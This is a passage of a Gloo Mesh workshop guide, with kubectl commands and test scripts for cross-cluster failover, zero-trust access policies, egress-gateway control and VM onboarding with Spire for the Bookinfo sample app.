+kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +If the `reviews` service doesn't exist on the first cluster, the `productpage` service of this cluster will automatically use the `reviews` service running on the other cluster. + +Let's try this: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v1 --replicas=0 +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v2 --replicas=0 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.spec.replicas}'=0 deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.spec.replicas}'=0 deploy/reviews-v2 +``` + + + +You can still access the reviews application even if the `reviews` service isn't running in `cluster1` anymore. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +Let's restart the `reviews` services: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v1 --replicas=1 +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v2 --replicas=1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.status.readyReplicas}'=1 deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.status.readyReplicas}'=1 deploy/reviews-v2 +``` + +But what happens if the `reviews` services is running, but is unavailable ? + +Let's try! + +The following commands will patch the deployments to run a new version which won't respond to the incoming requests. + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deploy reviews-v1 --patch '{"spec": {"template": {"spec": {"containers": [{"name": "reviews","command": ["sleep", "20h"]}]}}}}' +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deploy reviews-v2 --patch '{"spec": {"template": {"spec": {"containers": [{"name": "reviews","command": ["sleep", "20h"]}]}}}}' +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v2 +``` + + + +You can still access the bookinfo application. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +Run the following commands to make the `reviews` service available again in the first cluster + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deployment reviews-v1 --type json -p '[{"op": "remove", "path": "/spec/template/spec/containers/0/command"}]' +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deployment reviews-v2 --type json -p '[{"op": "remove", "path": "/spec/template/spec/containers/0/command"}]' +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v2 +``` + +Let's delete the different objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends delete virtualdestination reviews +kubectl --context ${CLUSTER1} -n bookinfo-backends delete failoverpolicy failover +kubectl --context ${CLUSTER1} -n bookinfo-backends delete outlierdetectionpolicy outlier-detection +``` + + + +## Lab 23 - Zero trust +[VIDEO LINK](https://youtu.be/BiaBlUaplEs "Video Link") + +In the previous step, we federated multiple meshes and established a shared root CA for a shared identity domain. + +All the communications between Pods in the mesh are now encrypted by default, but: + +- communications between services that are in the mesh and others which aren't in the mesh are still allowed and not encrypted +- all the services can talk together + +Let's validate this. + + +Run the following commands to initiate a communication from a service which isn't in the mesh to a service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=${registry}/curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + +You should get a `200` response code which confirm that the communication is currently allowed. + + + +Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=${registry}/curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + + + +You should get a `200` response code again. + +To enfore a zero trust policy, it shouldn't be the case. + +We'll leverage the Gloo Mesh workspaces to get to a state where: + +- communications between services which are in the mesh and others which aren't in the mesh aren't allowed anymore +- communications between services in the mesh are allowed only when services are in the same workspace or when their workspaces have import/export rules. + +The Bookinfo team must update its `WorkspaceSettings` Kubernetes object to enable service isolation. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); +describe("Communication not allowed", () => { + it("Response code shouldn't be 200", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}'" }).replaceAll("'", ""); + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n httpbin debug -i -q " + podName + " --image=" + process.env.registry + "/curlimages/curl -- curl -s -o /dev/null -w \"%{http_code}\" --max-time 3 http://reviews.bookinfo-backends:9080/reviews/0" }).replaceAll("'", ""); + expect(command).not.to.contain("200"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/zero-trust/tests/not-in-mesh-to-in-mesh-not-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=${registry}/curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + + + +You shouldn't get a `200` response code, which means that the communication isn't allowed. + +You've see seen how Gloo Platform can help you to enforce a zero trust policy (at workspace level) with nearly no effort. + +Now we are going to define some additional policies to achieve zero trust at service level. + +We are going to define AccessPolicies from the point of view of a service producers. + +> I am owner of service A, which services needs to communicate with me? + +![Gloo Mesh Gateway](images/steps/zero-trust/gloo-mesh-gateway.svg) + +Productpage app is the only service which is exposed to the internet, so we will create an `AccessPolicy` to allow the Istio Ingress Gateway to forward requests to the productpage service. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + + it("Response code shouldn't be 200 accessing ratings", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://ratings.bookinfo-backends:9080/ratings/0', timeout=3); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).not.to.contain("200"); + }); + + it("Response code should be 200 accessing reviews with GET", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://reviews.bookinfo-backends:9080/reviews/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); + + it("Response code should be 403 accessing reviews with HEAD", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.head('http://reviews.bookinfo-backends:9080/reviews/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("403"); + }); + + it("Response code should be 200 accessing details", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://details.bookinfo-backends:9080/details/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/zero-trust/tests/bookinfo-access.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's rollback the change we've made in the `WorkspaceSettings` object: + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") + + +In this step, we're going to secure the egress traffic. + +We're going to deploy an egress gateway, configure Kubernetes `NetworkPolicies` to force all the traffic to go through it and implement some access control at the gateway level. + + + +The gateways team is going to deploy an egress gateway: + +```bash +kubectl apply --context ${MGMT} -f - < + +You should get an output similar to: + +```,nocopy +NAME READY STATUS RESTARTS AGE +istio-egressgateway-1-17-55fcbddd96-bwntr 1/1 Running 0 25m +``` + +Then, the gateway team needs to create a `VirtualGateway` and can define which hosts can be accessed through it: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication not allowed", () => { + it("Productpage can NOT send requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get', timeout=5); print(r.text)\"" }).replaceAll("'", ""); + expect(command).not.to.contain("User-Agent"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-not-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +It's not working. + +You can now create an `ExternalService` to expose `httpbin.org` through the egress gateway: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + it("Productpage can send requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Now, it works! + +And you can run the following command to check that the request went through the egress gateway: + +```shell +kubectl --context ${CLUSTER1} -n istio-gateways logs -l istio=egressgateway --tail 1 +``` + +Here is the expected output: + +```,nocopy +[2023-05-11T20:10:30.274Z] "GET /get HTTP/1.1" 200 - via_upstream - "-" 0 3428 793 773 "10.102.1.127" "python-requests/2.28.1" "e6fb42b7-2519-4a59-beb8-0841380d445e" "httpbin.org" "34.193.132.77:443" outbound|443||httpbin.org 10.102.2.119:39178 10.102.2.119:8443 10.102.1.127:48388 httpbin.org - +``` + +The gateway team can also restrict which HTTP method can be used by the Pods when sending requests to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + it("Productpage can send GET requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); + + it("Productpage can't send POST requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.post('http://httpbin.org/post'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("403"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-only-get-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You can still send GET requests to the `httpbin.org` site from the `productpage` Pod: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.get('http://httpbin.org/get'); print(r.text)" +``` + +But you can't send POST requests to the `httpbin.org` site from the `productpage` Pod: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.post('http://httpbin.org/post'); print(r.text)" +``` + +You'll get the following response: + +```,nocopy +RBAC: access denied +``` + +Let's delete the Gloo Mesh objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete networkpolicy restrict-egress +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete externalservice httpbin +kubectl --context ${CLUSTER1} -n istio-gateways delete accesspolicy allow-get-httpbin +``` + + + +## Lab 25 - VM integration with Spire + +Let's see how we can configure a VM to be part of the Mesh. + +To make it easier (and more fun), we'll use a Docker container to simulate a VM. + +The certificates will be generated by the Spire server. We need to restart it to use the intermediate CA certificate generated by the `RootTrustPolicy`. + +```bash +kubectl --context ${CLUSTER1} -n gloo-mesh rollout restart deploy gloo-spire-server +``` + +First of all, we need to define a few environment variables: + +```bash +export VM_APP="vm1" +export VM_NAMESPACE="virtualmachines" +export VM_NETWORK="vm-network" +``` + +Create the namespace that will host the virtual machine: + +```bash +kubectl --context ${CLUSTER1} create namespace "${VM_NAMESPACE}" +``` + +Let's update the bookinfo `Workspace` to include the `virtualmachines` namespace of the first cluster: + +```bash +kubectl apply --context ${MGMT} -f - < /vm/resolv.conf" +docker exec vm1 cp /vm/resolv.conf /etc/resolv.conf +``` + +Install the dependencies: + +```bash +docker exec vm1 apt update -y +docker exec vm1 apt-get install -y iputils-ping curl iproute2 iptables python3 sudo dnsutils +``` + +Create routes to allow the VM to access the Pods on the 2 Kubernetes clusters: + +```bash +cluster1_cidr=$(kubectl --context ${CLUSTER1} -n kube-system get pod -l component=kube-controller-manager -o jsonpath='{.items[0].spec.containers[0].command}' | jq -r '.[] | select(. | startswith("--cluster-cidr="))' | cut -d= -f2) +cluster2_cidr=$(kubectl --context ${CLUSTER2} -n kube-system get pod -l component=kube-controller-manager -o jsonpath='{.items[0].spec.containers[0].command}' | jq -r '.[] | select(. | startswith("--cluster-cidr="))' | cut -d= -f2) + +docker exec vm1 $(kubectl --context ${CLUSTER1} get nodes -o=jsonpath='{range .items[*]}{"ip route add "}{"'${cluster1_cidr}' via "}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}') +docker exec vm1 $(kubectl --context ${CLUSTER2} get nodes -o=jsonpath='{range .items[*]}{"ip route add "}{"'${cluster2_cidr}' via "}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}') +``` + +Copy `meshctl` into the container: + +```bash +docker cp $HOME/.gloo-mesh/bin/meshctl vm1:/usr/local/bin/ +``` + +Create an `ExternalWorkload` object to represent the VM and the applications it runs: + +```bash +kubectl apply --context ${CLUSTER1} -f - <&1 | grep INFO | awk '{ print $4}') + sleep 1 # Pause for 1 second +done +--> + +Get a Spire token to register the VM: + +```bash +export JOIN_TOKEN=$(meshctl external-workload gen-token \ + --kubecontext ${CLUSTER1} \ + --ext-workload virtualmachines/${VM_APP} \ + --trust-domain ${CLUSTER1} \ + --plain 2>&1 | grep INFO | awk '{ print $4}') +``` + +Get the IP address of the E/W gateway the VM will use to register itself: + +```bash +export EW_GW_ADDR=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=eastwestgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}') +``` + +Register the VM: + +```bash +export GLOO_AGENT_URL=https://storage.googleapis.com/gloo-platform/vm/v2.4.7/gloo-workload-agent.deb +export ISTIO_URL=https://storage.googleapis.com/solo-workshops/istio-binaries/1.19.3/istio-sidecar.deb + +docker exec vm1 meshctl ew onboard --install \ + --attestor token \ + --join-token ${JOIN_TOKEN} \ + --cluster ${CLUSTER1} \ + --gateway-addr ${EW_GW_ADDR} \ + --gateway istio-gateways/istio-eastwestgateway-1-19 \ + --trust-domain ${CLUSTER1} \ + --istio-rev 1-19 \ + --network vm-network \ + --gloo ${GLOO_AGENT_URL} \ + --istio ${ISTIO_URL} \ + --ext-workload virtualmachines/${VM_APP} +``` + +Take a look at the Envoy clusters: + +```bash +docker exec vm1 curl -v localhost:15000/clusters | grep productpage.bookinfo-frontends.svc.cluster.local +``` + +It should return several lines similar to the one below: + +```,nocopy +outbound|9080||productpage.bookinfo-frontends.svc.cluster.local::172.18.2.1:15443::cx_active::0 +``` + +You can see that the IP address corresponds to the IP address of the E/W Gateway. + +You should now be able to reach the product page application from the VM: + +```bash +docker exec vm1 curl -I productpage.bookinfo-frontends.svc.cluster.local:9080/productpage +``` + + + +Now, let's do the opposite and access an application running in the VM from a Pod. + +Run the following command to start a web server: + +```bash +docker exec -d vm1 python3 -m http.server 9999 +``` + +Try to access the app from the `productpage` Pod: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.get('http://${VM_APP}.virtualmachines.ext.cluster.local:9999'); print(r.text)" +``` + + + +Finally, let's deploy MariaDB in the VM and configure the ratings service to use it as a backend. + +```bash +docker exec vm1 apt-get update +docker exec vm1 apt-get install -y mariadb-server +``` + +We need to configure the database properly: + +```bash +docker exec vm1 sed -i '/bind-address/c\bind-address = 0.0.0.0' /etc/mysql/mariadb.conf.d/50-server.cnf +docker exec vm1 systemctl start mysql + +docker exec -i vm1 mysql < ./test.js +const helpers = require('./tests/chai-http'); + +describe("The ratings service should use the database running on the VM", () => { + it('Got reviews v2 with ratings in cluster1', () => helpers.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/productpage', body: 'color="black"', match: true })); +}) + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/vm-integration-spire/tests/ratings-using-vm.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +Let's delete the objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n "${VM_NAMESPACE}" delete externalworkload ${VM_APP} +kubectl --context ${CLUSTER1} delete namespace "${VM_NAMESPACE}" +kubectl --context ${CLUSTER1} -n bookinfo-backends delete -f https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo-ratings-v2-mysql-vm.yaml +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/ratings-v1 --replicas=1 +``` + +Let's apply the original bookinfo Workspace: + +```bash +kubectl apply --context ${MGMT} -f - < + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXb